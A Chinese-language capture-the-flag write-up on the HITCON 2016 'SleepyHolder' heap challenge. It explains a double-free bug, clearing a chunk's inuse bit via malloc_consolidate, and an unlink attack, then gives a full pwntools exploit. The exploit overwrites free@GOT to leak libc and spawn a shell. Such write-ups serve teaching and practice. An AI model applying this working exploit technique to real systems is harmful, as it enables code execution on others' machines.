题目描述 题目来源:HITCON CTF 2016 知识点:unlink、double free 这道题提供了3个功能,添加秘密、删除秘密、重写秘密。秘密分为3种:small、big、huge。其中huge秘密一旦写入再也不能改也不能删。题目中没有提供输出秘密的功能。
1 2 3 4 5 6 Waking Sleepy Holder up ... Hey! Do you have any secret? I can help you to hold your secrets, and no one will be able to see it :) 1.Keep secret 2.Wipe secret 3.Renew secret
程序保护如下
1 2 3 4 5 6 [*] '/home/nick/pwn_learn/heapLearn/fastbinAtk/Hitcon2016_SleepyHolder/SleepyHolder' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE
程序概况 keep函数:
1 2 3 4 What secret do you want to keep? 1. Small secret 2. Big secret 3. Keep a huge secret and lock it forever
根据选择不同的secret申请不同大小的内存,分别是40、4000、400000个字节。其中每个大小的chunk只能申请一次。
wipe函数:
1 2 3 4 5 6 7 8 9 10 if ( v0 == 1 ){ free (buf); dword_6020E0 = 0 ; } else if ( v0 == 2 ){ free (qword_6020C0); dword_6020D8 = 0 ; }
只能删除small和big两种secret。free之后没有清空指针,存在double free漏洞
renew函数: 同样只能重写small和big两种secret,因为会检查是否使用的标记,所以不能UAF
漏洞分析 double free 因为free之后没有清空指针,所以可以造成double free漏洞。这里double free可以用于辅助unlink。
修改inuse位 依次分配small和big 两个secret,然后释放掉small secret ,small secret将进入fast bin。 此时再申请large secret 。由于这是一个large chunk,会先利用malloc_consolidate处理fastbin中的chunk,将能合并的chunk合并后放入unsortedbin,不能合并的就直接放到unsortedbin,这样的目的是减少堆中的碎片。所以small secret将会进入unsorted bin ,于此同时,big secret的inuse位也将会被置0 。 再次释放small secret 。因为之前释放的small secret已经不在fast bin中,所以此时不会被检测到double free。 申请small secret。从fast bin中取回small secret 。这样就达到了修改inuse位的目的 unlink 前提知识:由于堆块的复用机制,当前一个chunk还在被使用时,后一个chunk的prevsize是归属于前一chunk,作为前一个chunk的数据区域。
程序中,small secret的大小为0x28,刚好可以利用到下一个chunk的prevsize。如下:
1 2 3 4 5 6 7 0x6032e0: 0x0000000000000000 0x0000000000000031 <== small secret 0x6032f0: 0x6161616161616161 0x6161616161616161 0x603300: 0x6161616161616161 0x6161616161616161 0x603310: **0x0a61616161616161** 0x0000000000000fb1 <== big secret 0x603320: 0x6262626262626262 0x6262626262626262 0x603330: 0x6262626262626262 0x6262626262626262 0x603340: 0x6262626262626262 0x000000000000000a
所以可以通过double free来改变big secret的inuse位,又可以控制big secret的prevsize,且堆指针是全局变量,可以成功实现unlink。
漏洞利用 按照前文方法修改inuse位 在small secret构造一个fake chunk,并修改big chunk的prevsize 释放big secret,触发unlink 通过覆盖堆指针,将free_got覆写为puts_plt,泄露出atoi_got的地址,从而计算出libc的基址 算出system的地址,并将其写入free_got 调用free,成功getshell 我的exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] p = process('./SleepyHolder' ) elf = ELF('./SleepyHolder' ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so' ) def add (index, content) : p.recvuntil('3. Renew secret\n' ) p.sendline('1' ) p.recvuntil('\n' ) p.sendline(str(index)) p.recvuntil('secret: \n' ) p.send(content) def delete (index) : p.recvuntil('3. Renew secret\n' ) p.sendline('2' ) p.recvuntil('2. Big secret\n' ) p.send(str(index)) def update (index, content) : p.recvuntil('3. Renew secret\n' ) p.sendline('3' ) p.recvuntil('2. Big secret\n' ) p.sendline(str(index)) p.recvuntil('secret: \n' ) p.send(content) add(1 , 'a' *0x10 ) add(2 , 'b' *0x10 ) delete(1 ) add(3 , 'c' *0x10 ) delete(1 ) heap_ptr = 0x6020d0 payload = p64(0 ) + p64(0x21 ) payload += p64(heap_ptr - 0x18 ) + p64(heap_ptr - 0x10 ) payload += p64(0x20 ) add(1 , payload) delete(2 ) free_got = elf.got['free' ] atoi_got = elf.got['atoi' ] puts_got = elf.got['puts' ] puts = elf.symbols['puts' ] system_off = libc.symbols['system' ] atoi_off = libc.symbols['atoi' ] payload = p64(0 ) + p64(atoi_got) payload += p64(puts_got) + p64(free_got) update(1 , payload) update(1 , p64(puts)) delete(2 ) libc_base = u64(p.recv(6 ) + '\x00\x00' ) - atoi_off print "libc_base : %#x" % libc_base system = libc_base + system_off update(1 , p64(system)) add(2 , '/bin/sh\x00' ) delete(2 ) p.interactive()
相关链接 题目链接:SleepyHolder exp参考:how2heap 、https://blog.csdn.net/qq_33528164/article/details/80040197